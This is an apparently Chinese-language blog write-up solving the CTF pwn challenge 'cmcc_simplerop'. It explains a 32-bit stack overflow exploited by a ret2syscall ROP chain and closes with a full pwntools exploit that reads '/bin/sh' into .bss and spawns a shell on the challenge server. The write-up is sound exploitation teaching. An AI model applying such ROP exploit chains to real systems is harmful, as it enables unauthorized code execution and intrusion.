cmcc_simplerop

附件

步骤

  1. 例行检查,32位,开启了nx保护
  2. 本地试运行一下程序,查看一下大概的情况
  3. 32位ida载入,习惯性的检索程序里的字符串,看了个寂寞,从main函数开始看程序

    参数v4明显的溢出漏洞
    对于这种开启了nx保护没有可以利用函数的题,我一般都是利用ret2libc的方法,但是这道题,我查plt表里,居然没有之前调用过的函数的地址,
    在参考了其他师傅的wp之后知道了这题是利用的ret2syscall,binsh可以直接写入bss段,这位师傅还在程序里发现了mprotect函数,另一种解法是利用它修改堆栈的权限,直接写入shellcode,

我这边主要记录了一下ret2syscall的方法

  1. 先找一下函数里可以使用的命令

    首先就是可以看见有int 0x80,我们可以系统调用,关于系统调用的指令,我们可以参考这个博客,总结的很全。
    我们要执行system/execve(‘/bin/sh’)来获取shell,系统调用的指令的话就是
    int80(11,"/bin/sh")

    找一下设置各个寄存器的指令

由于没有找到单独的pop ebx;ret,加上调用read函数要用到三个寄存器,就用的pop edx;pop ecx;pop ebx;ret,多设置两个寄存器,给它设置随意一个值就好了,

这题没有找到/bin/sh字符串,只能手动输入了,由于系统已经调用过read函数了,我们可以直接利用read函数往bss段或者data段读入/bin/sh

这题有一个坑,ida分析的偏移是0x14+4,自己一开始写的时候出错,找了半天没搞懂错哪儿了,看了其他师傅的wp才知道这题的偏移是0x20

gdb调试测试偏移量,cyclic 200 随机生成长度为200的字符串

运行程序,输入之前生成的字符串,在0x61616169处报错,算一下之前字符串的长度,找到偏移量为32(0x20)

完整EXP:

from pwn import *

context_log_level='debug'
p=remote('node3.buuoj.cn',25509)
#p = process('./simplerop') int_addr = 0x080493e1
pop_eax = 0x080bae06
read_addr= 0x0806CD50
binsh_addr = 0x080EB584
pop_edx_ecx_ebx = 0x0806e850 payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8) payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr) p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()

最新文章

  1. zookeeper dubbo 问题解决录
  2. Aoite 系列 目录
  3. JS无缝滚动
  4. 不支持一个 STA 线程上针对多个句柄的 WaitAll
  5. Java--常用类
  6. Linux命令详解nice
  7. iOS开发——项目实战OC篇&类QQ黏性按钮(封装)
  8. 【新闻】超灵敏MRI技术:照亮人体肺部
  9. 多线程+fork 引发的bug查找
  10. Visual Studio使用技巧记录
  11. aix运维
  12. saiku导出excel单元格格式与中文列宽自动适应
  13. margin传递,子元素的上下margin会传递给父级
  14. LPC1768的USB使用--宏定义
  15. BiLstm与CRF实现命名实体标注
  16. [转]Understand QoS at OpenSwitch
  17. pom.xml文件最详细的讲解
  18. Android Studio2.0 教程从入门到精通Windows版 - 入门篇
  19. Android一些日常的错误
  20. Maven之setting.xml配置文件详解

热门文章

  1. [luogu7418]Counting Graphs P
  2. [atAGC046F]Forbidden Tournament
  3. [loj3329]有根树
  4. Semaphore信号量的使用
  5. Codeforces 724G - Xor-matic Number of the Graph(线性基)
  6. fluidity install on Cluster
  7. Notepad++—显示代码对齐是使用了制表符还是空格
  8. Python基础之变量与常量
  9. 关于vim复制剪贴粘贴命令的总结-转
  10. 关于JSONObject的性能问题